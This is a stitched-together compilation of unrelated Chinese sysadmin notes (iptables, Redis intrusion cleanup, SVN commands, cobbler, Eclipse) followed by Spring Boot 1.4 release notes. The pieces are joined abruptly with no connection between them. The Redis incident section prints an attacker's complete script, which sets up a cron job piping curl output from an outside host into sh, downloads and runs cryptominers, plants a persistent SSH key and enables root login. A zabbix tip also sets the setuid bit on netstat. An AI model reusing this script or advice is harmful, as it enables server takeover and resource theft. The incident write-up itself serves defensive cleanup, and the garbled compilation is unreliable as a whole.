1.iptables
启动指令: service iptables start
重启指令: service iptables restart
关闭指令: service iptables stop
保存指令: service iptables save
相关配置: /etc/sysconfig/iptables
2.操作: vim /etc/sysconfig/iptables
# Firewall configuration written by system-config-firewall
# Manual customization of this file is not recommended.
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT
-A INPUT -j REJECT --reject-with icmp-host-prohibited
-A FORWARD -j REJECT --reject-with icmp-host-prohibited
COMMIT
启动: service iptables start
重启: service iptables restart
保存: service iptables save
注意: 先service iptables restart,然后才调用/etc/rc.d/init.d/iptables save
因为/etc/rc.d/init.d/iptables save会在iptables服务启动时重新加载,
要是在重启之前直接先调用了/etc/rc.d/init.d/iptables save
那么你的/etc/sysconfig/iptables 配置就回滚到上次启动服务的配置了,这点必须注意!!!
朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接。朋友不知如何下手,便邀请我帮忙处理。
阿里云的安全告警邮件内容:
在没有查到异常进程之前我是先把操作系统的带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因.
在各种netstat –ntlp 的查看下没有任何异常。在top 下查到了有异常进程 还有些异常的这里就截图一个:
结果果断把进程给kill -9 了 没想到再去ps的时候又来了 意思就是会自动启动它。
这就让我想到了crond 这个自动任务果不其然 /var/sprool/cron/root 这个文件被人做了手脚 而且是二进制的,果断又给删除了,以为这下没事了结果过了两分钟这个文件又来这个就引起我主要了联想到了是不是有说明守护进程了 这样的事情肯定是有守护进程在才会发生的了。于是我去百度了下 jyam -c x -M stratum+tcp 果不其然 确实有这样的攻击,这个攻击是由于redis 未授权登陆漏洞引起导致黑客利用的。
漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访 问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。 (导致可以执行任何操作)
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
在网上我查到这个被黑客编译成二进制的源文件代码 (关于redis 未授权登陆安全措施:
1 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379. 防火墙控制好允许IP连接就好
2 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
3 配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
4是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
)
##网上查到脚本内容大致如下
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/2 * * * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" > /var/spool/cron/root
# echo "*/2 * * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr" >> /var/spool/cron/root
echo "*/5 * * * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &" >> /var/spool/cron/root
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
mkdir -p /opt/yam
curl -f -L https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
# /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:[email protected]:6666/xmr
fi
if [ ! -f "/opt/gg3lady" ]; then
curl -f -L https://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
chmod +x /opt/gg3lady
fi
# yam=$(ps auxf | grep yam | grep -v grep | wc -l)
# gg3lady=$(ps auxf | grep gg3lady | grep -v grep | wc -l)
# cpu=$(cat /proc/cpuinfo | grep processor | wc -l)
# curl https://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname -i`
于是终于找到源头了,
下面我们来分析下这个脚本
整个脚本的大致就这样
处理方法只要把 /var/spool/cron/root 删除 /opt/yam/yam 删除 /opt/gg3lady 删除 .ssh/KHK75NEOiq 删除
把gg3lady yam 进程结束 还有就是sshd_confg 文件还原 应该就没问题了。但是为了安全起见还是希望重装服务器,不确保别人不留其他的漏洞
对应的安全处理:
1、限制Redis的访问IP,如指定本地IP获指定特定IP可以访问。
2、如果是本地访问和使用,打开防火墙(阿里云等操作系统,默认把防火墙关了),不开放Redis端口,最好修改掉Redis的默认端口;
3、如果要远程访问,给Redis配置上授权访问密码;
Cause: java.sql.SQLException: Lock wait timeout exceeded; try restarting transaction
出现之后查看相应的线程
命令:select * from information_schema.innodb_trx
找到对应的线程之后kill了,就ok!
场景:因为使用了netstat -p参数。
权限问题,zabbix_agentd是zabbix用户启动的,默认不能执行netstat -p等命令,导致从服务器取到的自动发现脚本为空
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
解决方法 :
chmod +s /bin/netstat
再次执行就会消失(变成正常)
前提条件是cobbler得安装完成,并且咱们提前写好ks文件,生成profile等等。接下来就是咱们运维平台,根据获取的MAC地址给服务器定义一个IP信息录入,然后定制安装操作系统即可:
第一步:添加主机分配IP,最主要是MAC地址:
第二步:默认刚开始添加的适合都是等待装机状态,当点击开始装机时候,后台根据MAC地址定义操作系统的profile和生成IP地址,这个时候装机状态就变成装机中,然后开启服务器电源执行装机即可:
第三步:启动虚拟机开始装机:
到此安装完成;装机状态可变成装机完成,这里实现的思路咱们可以这样,写一个脚本久不久去ping 这个刚刚分配的IP地址,等真正可以Ping通之后,可以向这个IP发送某条命令然后根据返回值就能判断是否已经完成装机操作。
不足,这里我没有运用ipmi的一些机制来完成,后面慢慢学习和补充,最后咱们跑一个初始化脚本,然后把生产的机器的资产信息,同步到咱们CMDB平台即可。
定制操作系统可以参考官方文档的system修改成如下的操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
[[email protected] src]
# cat cobbler_api.py
#!/usr/bin/env python
import
xmlrpclib
remote
=
xmlrpclib.Server(
"http://192.168.63.238/cobbler_api"
)
token
=
remote.login(
"xiaoluo"
,
"123456"
)
system_id
=
remote.new_system(token)
remote.modify_system(system_id,
"name"
,
"xiaoluo"
,token)
remote.modify_system(system_id,
"hostname"
,
"xiaoluo"
,token)
remote.modify_system(system_id,
'modify_interface'
, {
"macaddress-eth0"
:
"00:50:56:2C:4C:56"
,
"ipaddress-eth0"
:
"192.168.63.100"
,
"Gateway-eth0"
:
"192.168.63.254"
,
"subnet-eth0"
:
"255.255.255.0"
,
"static-eth0"
:
1
,
"dnsname-eth0"
:
"114.114.114.114"
}, token)
remote.modify_system(system_id,
"profile"
,
"webserver"
,token)
remote.save_system(system_id, token)
ret
=
remote.sync(token)
print
ret
|
1、检出
svn co http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名 --password 密码
svn co svn://路径(目录或文件的全路径) [本地目录全路径] --username 用户名 --password 密码
svn checkout http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn checkout svn://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
注:如果不带--password 参数传输密码的话,会提示输入密码,建议不要用明文的--password 选项。
其中 username 与 password前是两个短线,不是一个。
不指定本地目录全路径,则检出到当前目录下。
例子:
svn co svn://localhost/测试工具 /home/testtools --username wzhnsc
svn co http://localhost/test/testapp --username wzhnsc
svn checkout svn://localhost/测试工具 /home/testtools --username wzhnsc
svn checkouthttp://localhost/test/testapp --username wzhnsc
2、导出(导出一个干净的不带.svn文件夹的目录树)
svn export [-r 版本号] http://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn export [-r 版本号] svn://路径(目录或文件的全路径) [本地目录全路径] --username 用户名
svn export 本地检出的(即带有.svn文件夹的)目录全路径 要导出的本地目录全路径
注:第一种从版本库导出干净工作目录树的形式是指定URL,
如果指定了修订版本号,会导出相应的版本,
如果没有指定修订版本,则会导出最新的,导出到指定位置。
如果省略 本地目录全路径,URL的最后一部分会作为本地目录的名字。
第二种形式是指定 本地检出的目录全路径 到 要导出的本地目录全路径,所有的本地修改将会保留,
但是不在版本控制下(即没提交的新文件,因为.svn文件夹里没有与之相关的信息记录)的文件不会拷贝。
例子:
svn export svn://localhost/测试工具 /home/testtools --username wzhnsc
svn export svn://localhost/test/testapp --username wzhnsc
svn export /home/testapp /home/testtools
3、添加新文件
svn add 文件名
注:告诉SVN服务器要添加文件了,还要用svn commint -m真实的上传上去!
例子:
svn add test.php <- 添加test.php
svn commit -m “添加我的测试用test.php“ test.php
svn add *.php <- 添加当前目录下所有的php文件
svn commit -m “添加我的测试用全部php文件“ *.php
4、提交
svn commit -m “提交备注信息文本“ [-N] [--no-unlock] 文件名
svn ci -m “提交备注信息文本“ [-N] [--no-unlock] 文件名
必须带上-m参数,参数可以为空,但是必须写上-m
例子:
svn commit -m “提交当前目录下的全部在版本控制下的文件“ * <- 注意这个*表示全部文件
svn commit -m “提交我的测试用test.php“ test.php
svn commit -m “提交我的测试用test.php“ -N --no-unlock test.php <- 保持锁就用–no-unlock开关
svn ci -m “提交当前目录下的全部在版本控制下的文件“ * <- 注意这个*表示全部文件
svn ci -m “提交我的测试用test.php“ test.php
svn ci -m “提交我的测试用test.php“ -N --no-unlock test.php <- 保持锁就用–no-unlock开关
5、更新文件
svn update
svn update -r 修正版本 文件名
svn update 文件名
例子:
svn update <- 后面没有目录,默认将当前目录以及子目录下的所有文件都更新到最新版本
svn update -r 200 test.cpp <- 将版本库中的文件 test.cpp 还原到修正版本(revision)200
svn update test.php <- 更新与版本库同步。
提交的时候提示过期冲突,需要先 update 修改文件,
然后清除svn resolved,最后再提交commit。
6、删除文件
svn delete svn://路径(目录或文件的全路径) -m “删除备注信息文本”
推荐如下操作:
svn delete 文件名
svn ci -m “删除备注信息文本”
例子:
svn delete svn://localhost/testapp/test.php -m “删除测试文件test.php”
推荐如下操作:
svn delete test.php
svn ci -m “删除测试文件test.php”
7、加锁/解锁
svn lock -m “加锁备注信息文本“ [--force] 文件名
svn unlock 文件名
例子:
svn lock -m “锁信测试用test.php文件“ test.php
svn unlock test.php
8、比较差异
svn diff 文件名
svn diff -r 修正版本号m:修正版本号n 文件名
例子:
svn diff test.php<- 将修改的文件与基础版本比较
svn diff -r 200:201 test.php<- 对 修正版本号200 和 修正版本号201 比较差异
9、查看文件或者目录状态
svn st 目录路径/名
svn status 目录路径/名<- 目录下的文件和子目录的状态,正常状态不显示
【?:不在svn的控制中; M:内容被修改;C:发生冲突;
A:预定加入到版本库;K:被锁定】
svn -v 目录路径/名
svn status -v 目录路径/名<- 显示文件和子目录状态
【第一列保持相同,第二列显示工作版本号,
第三和第四列显示最后一次修改的版本号和修改人】
注:svn status、svn diff和 svn revert这三条命令在没有网络的情况下也可以执行的,
原因是svn在本地的.svn中保留了本地版本的原始拷贝。
10、查看日志
svn log 文件名
例子:
svn log test.php<- 显示这个文件的所有修改记录,及其版本号的变化
11、查看文件详细信息
svn info 文件名
例子:
svn info test.php
12、SVN 帮助
svn help <- 全部功能选项
svn help ci <- 具体功能的说明
13、查看版本库下的文件和目录列表
svn list svn://路径(目录或文件的全路径)
svn ls svn://路径(目录或文件的全路径)
例子:
svn list svn://localhost/test
svn ls svn://localhost/test <- 显示svn://localhost/test目录下的所有属于版本库的文件和目录
14、创建纳入版本控制下的新目录
svn mkdir 目录名
svn mkdir -m "新增目录备注文本" http://目录全路径
例子:
svn mkdir newdir
svn mkdir -m "Making a new dir." svn://localhost/test/newdir
注:添加完子目录后,一定要回到根目录更新一下,不然在该目录下提交文件会提示“提交失败”
svn update
注:如果手工在checkout出来的目录里创建了一个新文件夹newsubdir,
再用svn mkdir newsubdir命令后,SVN会提示:
svn: 尝试用 “svn add”或 “svn add --non-recursive”代替?
svn: 无法创建目录“hello”: 文件已经存在
此时,用如下命令解决:
svn add --non-recursive newsubdir
在进入这个newsubdir文件夹,用ls -a查看它下面的全部目录与文件,会发现多了:.svn目录
再用 svn mkdir -m "添hello功能模块文件" svn://localhost/test/newdir/newsubdir 命令,
SVN提示:
svn: File already exists: filesystem '/data/svnroot/test/db', transaction '4541-1',
path '/newdir/newsubdir '
15、恢复本地修改
svn revert [--recursive] 文件名
注意: 本子命令不会存取网络,并且会解除冲突的状况。但是它不会恢复被删除的目录。
例子:
svn revert foo.c <- 丢弃对一个文件的修改
svn revert --recursive . <-恢复一整个目录的文件,. 为当前目录
16、把工作拷贝更新到别的URL
svn switch http://目录全路径 本地目录全路径
例子:
svn switch http://localhost/test/456 . <- (原为123的分支)当前所在目录分支到localhost/test/456
17、解决冲突
svn resolved [本地目录全路径]
例子:
$ svn update
C foo.c
Updated to revision 31.
如果你在更新时得到冲突,你的工作拷贝会产生三个新的文件:
$ ls
foo.c
foo.c.mine
foo.c.r30
foo.c.r31
当你解决了foo.c的冲突,并且准备提交,运行svn resolved让你的工作拷贝知道你已经完成了所有事情。
你可以仅仅删除冲突的文件并且提交,但是svn resolved除了删除冲突文件,还修正了一些记录在工作拷贝管理区域的记录数据,所以我们推荐你使用这个命令。
18、不checkout而查看输出特定文件或URL的内容
svn cat http://文件全路径
例子:
svn cat http://localhost/test/readme.txt
19、新建一个分支copy
svn copy branchA branchB -m "make B branch" // 从branchA拷贝出一个新分支branchB
20、合并内容到分支merge
svn merge branchA branchB // 把对branchA的修改合并到分支branchB
1.工具下载地址:
Eclipse:http://www.eclipse.org/downloads/packages/eclipse-ide-java-ee-developers/neonr
Spring Tool Suite:https://spring.io/tools/sts/all
2.使用版本为:
Eclipse:eclipse-jee-neon-R-win32-x86_64.zip
Spring Tool Suite:springsource-tool-suite-3.8.0.RELEASE-e4.5.2-updatesite.zip
3.安装步骤:
3.1 解压Eclipse,打开Help ---> Install New Sofware...
3.2 点击右上角位置的:Add...
3.3 点击右上角位置的:Loccal...,选中解压之后的springsource-tool-suite-3.8.0.RELEASE-e4.5.2-updatesite,,之后点击 OK
3.4 点击 Select All,之后确认,后面有多次需要确认,会花费一定的时间,请耐心等待,安装完成之后,会提示重启。
小提示:可以选中在线安装Spring Tool Suite 这个插件。Help ---> Eclipse Marketplce...之后搜索spring tool suite
注意版本的选择
查看Eclipse版本:Help ---> About Eclipse
Spring Boot 1.4 builds on and requires Spring Framework 4.3. There are a number of nice refinements in Spring Framework 4.3 including new Spring MVC @RequestMapping
annotations. Refer to the Spring Framework reference documentation for details.
Note that the test framework in Spring Framework 4.3 requires JUnit 4.12. See SPR-13275 for further details.
A number of third party libraries have been upgraded to their latest version. Updates include Jetty 9.3, Tomcat 8.5, Jersey 2.23, Hibernate 5.0, Jackson 2.7, Solr 5.5, Spring Data Hopper, Spring Session 1.2, Hazelcast 3.6, Artemis 1.3, Ehcache 3.1, Elasticsearch 2.3, Spring REST Docs 1.1, Spring AMQP 1.6 & Spring Integration 4.3.
Several Maven plugins were also upgraded.
Full auto-configuration support is now provided for Couchbase. You can easily access a Bucket
and Cluster
bean by adding the spring-boot-starter-data-couchbase
"Starter" and providing a little configuration:
spring.couchbase.bootstrap-hosts=my-host-1,192.168.1.123 spring.couchbase.bucket.name=my-bucket spring.couchbase.bucket.password=secret
It’s also possible to use Couchbase as a backing store for a Spring Data Repository
or as aCacheManager
. Refer to the updated documentation for details.
Auto-configuration support is now provided for Neo4J. You can connect to a remote server or run an embedded Neo4J server. You can also use Neo4J to back a Spring Data Repository
, for example:
public interface CityRepository extends GraphRepository { Page findAll(Pageable pageable); City findByNameAndCountry(String name, String country); }
Full details are provided in the Neo4J section of the reference documentation.
Redis can now be used to back Spring Data repositories. See the Spring Data Redis documentation for more details.
Auto-configuration support is now included for the Narayana transaction manager. You can choose between Narayana, Bitronix or Atomkos if you need JTA support. See the updated reference guidefor details.
Auto-configuration is provided for Caffeine v2.2 (a Java 8 rewrite of Guava’s caching support). Existing Guava cache users should consider migrating to Caffeine as Guava cache support will be dropped in a future release.
Spring Boot auto-configures a JestClient
and a dedicated HealthIndicator
if Jest is on the classpath. This allows you to use Elasticsearch
even when spring-data-elasticsearch
isn’t on the classpath.
Spring Boot will now perform analysis of common startup failures and provide useful diagnostic information rather than simply logging an exception and its stack trace. For example, a startup failure due to the embedded servlet container’s port being in use looked like this in earlier versions of Spring Boot:
2016-02-16 17:46:14.334 ERROR 24753 --- [ main] o.s.boot.SpringApplication : Application startup failed java.lang.RuntimeException: java.net.BindException: Address already in use at io.undertow.Undertow.start(Undertow.java:181) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final] at org.springframework.boot.context.embedded.undertow.UndertowEmbeddedServletContainer.start(UndertowEmbeddedServletContainer.java:121) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.startEmbeddedServletContainer(EmbeddedWebApplicationContext.java:293) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.finishRefresh(EmbeddedWebApplicationContext.java:141) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:541) ~[spring-context-4.2.4.RELEASE.jar:4.2.4.RELEASE] at org.springframework.boot.context.embedded.EmbeddedWebApplicationContext.refresh(EmbeddedWebApplicationContext.java:118) ~[spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:766) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.SpringApplication.createAndRefreshContext(SpringApplication.java:361) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:307) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1191) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1180) [spring-boot-1.3.2.RELEASE.jar:1.3.2.RELEASE] at sample.undertow.SampleUndertowApplication.main(SampleUndertowApplication.java:26) [classes/:na] Caused by: java.net.BindException: Address already in use at sun.nio.ch.Net.bind0(Native Method) ~[na:1.8.0_60] at sun.nio.ch.Net.bind(Net.java:433) ~[na:1.8.0_60] at sun.nio.ch.Net.bind(Net.java:425) ~[na:1.8.0_60] at sun.nio.ch.ServerSocketChannelImpl.bind(ServerSocketChannelImpl.java:223) ~[na:1.8.0_60] at sun.nio.ch.ServerSocketAdaptor.bind(ServerSocketAdaptor.java:74) ~[na:1.8.0_60] at org.xnio.nio.NioXnioWorker.createTcpConnectionServer(NioXnioWorker.java:190) ~[xnio-nio-3.3.4.Final.jar:3.3.4.Final] at org.xnio.XnioWorker.createStreamConnectionServer(XnioWorker.java:243) ~[xnio-api-3.3.4.Final.jar:3.3.4.Final] at io.undertow.Undertow.start(Undertow.java:137) ~[undertow-core-1.3.14.Final.jar:1.3.14.Final] ... 11 common frames omitted
In 1.4, it will look like this:
2016-02-16 17:44:49.179 ERROR 24745 --- [ main] o.s.b.d.LoggingFailureAnalysisReporter : *************************** APPLICATION FAILED TO START *************************** Description: Embedded servlet container failed to start. Port 8080 was already in use. Action: Identify and stop the process that's listening on port 8080 or configure this application to listen on another port.
If you still want to see the stacktrace of the underlying cause, enable debug logging fororg.springframework.boot.diagnostics.LoggingFailureAnalysisReporter
.
You can now use image files to render ASCII art banners. Drop a banner.gif
, banner.jpg
orbanner.png
file into src/main/resources
to have it automatically converted to ASCII. You can use the banner.image.width
and banner.image.height
properties to tweak the size, or usebanner.image.invert
to invert the colors.
A new RestTemplateBuilder
can be used to easily create a RestTemplate
with sensible defaults. By default, the built RestTemplate
will attempt to use the most suitable ClientHttpRequestFactory
available on the classpath and will be aware of the MessageConverter
instances to use (including Jackson). The builder includes a number of useful methods that can be used to quickly configure aRestTemplate
. For example, to add BASIC auth support you can use:
@Beanpublic RestTemplate restTemplate(RestTemplateBuilder builder) { return builder.basicAuthorization("user", "secret").build(); }
The auto-configured TestRestTemplate
now uses the RestTemplateBuilder
as well.
A new @JsonComponent
annotation is now provided for custom Jackson JsonSerializer
and/orJsonDeserializer
registration. This can be a useful way to decouple JSON serialization logic:
@JsonComponentpublic class Example { public static class Serializer extends JsonSerializer { // ... } public static class Deserializer extends JsonDeserializer { // ... } }
Additionally, Spring Boot also now provides JsonObjectSerializer
and JsonObjectDeserializer
base classes which provide useful alternatives to the standard Jackson versions when serializing objects. See the updated documentation for details.
Custom error pages for a given status code can now be created by following a convention based approach. Create a static HTML file in /public/error
or add a template to /templates/error
using the status code as the filename. For example, to register a custom 404 file you could addsrc/main/resource/public/error/404.html
. See the updated reference documentation for details.
@EntityScan
annotationorg.springframework.boot.autoconfigure.domain.EntityScan
can now be used to specify the packages to use for JPA, Neo4J, MongoDB, Cassandra and Couchbase. As a result, the JPA-specificorg.springframework.boot.orm.jpa.EntityScan
is now deprecated.
New ErrorPageRegistry
and ErrorPageRegistrar
interfaces allow error pages to be registered in a consistent way regardless of the use of an embedded servlet container. The ErrorPageFilter
class has been updated to that it is now a ErrorPageRegistry
and not a fakeConfigurableEmbeddedServletContainer
.
The PrincipalExtractor
interface can now be used if you need to extract the OAuth2 Principal
using custom logic.
Spring Boot 1.4 includes a major overhaul of testing support. Test classes and utilities are now provided in dedicated spring-boot-test
and spring-boot-test-autoconfigure
jars (although most users will continue to pick them up via the spring-boot-starter-test
"Starter"). We’ve added AssertJ, JSONassert and JsonPath dependencies to the test starter.
With Spring Boot 1.3 there were multiple ways of writing a Spring Boot test. You could use@SpringApplicationConfiguration
, @ContextConfiguration
with theSpringApplicationContextLoader
, @IntegrationTest
or @WebIntegrationTest
. With Spring Boot 1.4, a single @SpringBootTest
annotation replaces all of those.
Use @SpringBootTest
in combination with @RunWith(SpringRunner.class)
and set thewebEnvironment
attribute depending on the type of test you want to write.
A classic integration test, with a mocked servlet environment:
@RunWith(SpringRunner.class) @SpringBootTestpublic class MyTest { // ...}
A web integration test, running a live server listening on a defined port:
@RunWith(SpringRunner.class) @SpringBootTest(webEnvironment=WebEnvionment.DEFINED_PORT)public class MyTest { // ...}
A web integration test, running a live server listening on a random port:
@RunWith(SpringRunner.class) @SpringBootTest(webEnvironment=WebEnvionment.RANDOM_PORT)public class MyTest { @LocalServerPort private int actualPort; // ...}
See the updated reference documentation for details.
Test configuration can now be automatically detected for most tests. If you follow the Spring Boot recommended conventions for structuring your code the @SpringBootApplication
class will be loaded when no explicit configuration is defined. If you need to load a different @Configuration
class you can either include it as a nested inner-class in your test, or use the classes
attribute of@SpringBootTest
.
See Detecting test configuration for details.
It’s quite common to want to replace a single bean in your ApplicationContext
with a mock for testing purposes. With Spring Boot 1.4 this now as easy as annotating a field in your test with@MockBean
:
@RunWith(SpringRunner.class) @SpringBootTestpublic class MyTest { @MockBean private RemoteService remoteService; @Autowired private Reverser reverser; @Test public void exampleTest() { // RemoteService has been injected into the reverser bean given(this.remoteService.someCall()).willReturn("mock"); String reverse = reverser.reverseSomeCall(); assertThat(reverse).isEqualTo("kcom"); } }
You can also use @SpyBean
if you want to spy on an existing bean rather than using a full mock.
See the mocking section of the reference documentation for more details.
Full application auto-configuration is sometime overkill for tests, you often only want to auto-configure a specific "slice" of your application. Spring Boot 1.4 introduces a number of specialized test annotations that can be used for testing specific parts of your application:
@JsonTest
- For testing JSON marshalling and unmarshalling.
@WebMvcTest
- For testing Spring MVC @Controllers
using MockMVC.
@RestClientTest
- For testing RestTemplate calls.
@DataJpaTest
- For testing Spring Data JPA elements
Many of the annotations provide additional auto-configuration that’s specific to testing. For example, if you use @WebMvcTest
you can @Autowire
a fully configured MockMvc
instance.
See the reference documentation for details.
New JacksonTester
, GsonTester
and BasicJsonTester
classes can be used in combination with AssertJ to test JSON marshalling and unmarshalling. Testers can be used with the @JsonTest
annotation or directly on a test class:
@RunWith(SpringRunner.class) @JsonTestpublic class MyJsonTests { private JacksonTester json; @Test public void testSerialize() throws Exception { VehicleDetails details = new VehicleDetails("Honda", "Civic"); assertThat(this.json.write(details)).isEqualToJson("expected.json"); assertThat(this.json.write(details)).hasJsonPathStringValue("@.make"); } }
See the JSON section of the reference documentation or the Javadocs for details.
The @RestClientTest
annotation can be used if you want to test REST clients. By default it will auto-configure Jackson and GSON support, configure a RestTemplateBuilder
and add support forMockRestServiceServer
.
Combined with the support for auto-configuring MockMvc
described above, auto-configuration for Spring REST Docs has been introduced. REST Docs can be enabled using the new@AutoConfigureRestDocs
annotation. This will result in the MockMvc
instance being automatically configured to use REST Docs and also removes the need to use REST Docs' JUnit rule. Please see the relevant section of the reference documentation for further details.
spring-boot-starter-test
now brings the AssertJ
assertions library.
Test utilities from the org.springframework.boot.test
package have been moved to a spring-boot-test
dedicated artifact.
You can now use the InfoContributor
interface to register beans that expose information to the/info
actuator endpoint. Out of the box support is provided for:
Full or partial Git information generated from the git-commit-id-plugin
Maven or gradle-git-properties
Gradle plugin (set management.info.git.mode=full
to expose full details)
Build information generated from the Spring Boot Maven or Gradle plugin.
Custom information from the Environment (any property starting info.*
)
Details are documented in the "Application information" section of the reference docs.
The MetricsFilter
can now submit metrics in both the classic "merged" form, or grouped per HTTP method. Use endpoints.metrics.filter
properties to change the configuration:
endpoints.metrics.filter.gauge-submissions=grouped endpoints.metrics.filter.counter-submissions=grouped,merged
If Spring Session is configured to use the JDBC store, the schema is now created automatically on startup.
Spring Boot now allows to connect against a secured Artemis/HornetQ broker.
server.jetty.acceptors
and server.jetty.selectors
properties have been added to configure the number of Jetty acceptors and selectors.
server.max-http-header-size
and server.max-http-post-size
can be used to constrain maximum sizes for HTTP headers and HTTP POSTs. Settings work on Tomcat, Jetty and Undertow.
The minimum number of spare threads for Tomcat can now be configured usingserver.tomcat.min-spare-threads
Profile negation in now supported in application.yml
files. Use the familiar !
prefix inspring.profiles
values
The actuator exposes a new headdump
endpoint that returns a GZip compressed hprof
heap dump file
Spring Mobile is now auto-configured for all supported template engines
The Spring Boot maven plugin allows to bundle system
scoped artifacts using the newincludeSystemScope
attribute
spring.mvc.log-resolved-exception
enables the automatic logging of a warning when an exception is resolved by a HandlerExceptionResolver
spring.data.cassandra.schema-action
you be used to customize the schema action to take on startup
Spring Boot’s fat jar format should now consume much less memory
Locale to Charset mapping is now supported via the spring.http.encoding.mapping.
property
Spring Boot 1.4 GA ships with the Spring Data "Hopper" release out of the box. Users that would like to try the "Ingalls" release train (available in milestone one at the time of writing) can do so by just setting the spring-data-releasetrain.version
property to Ingalls-M1
and declaring the Spring milestone repository.
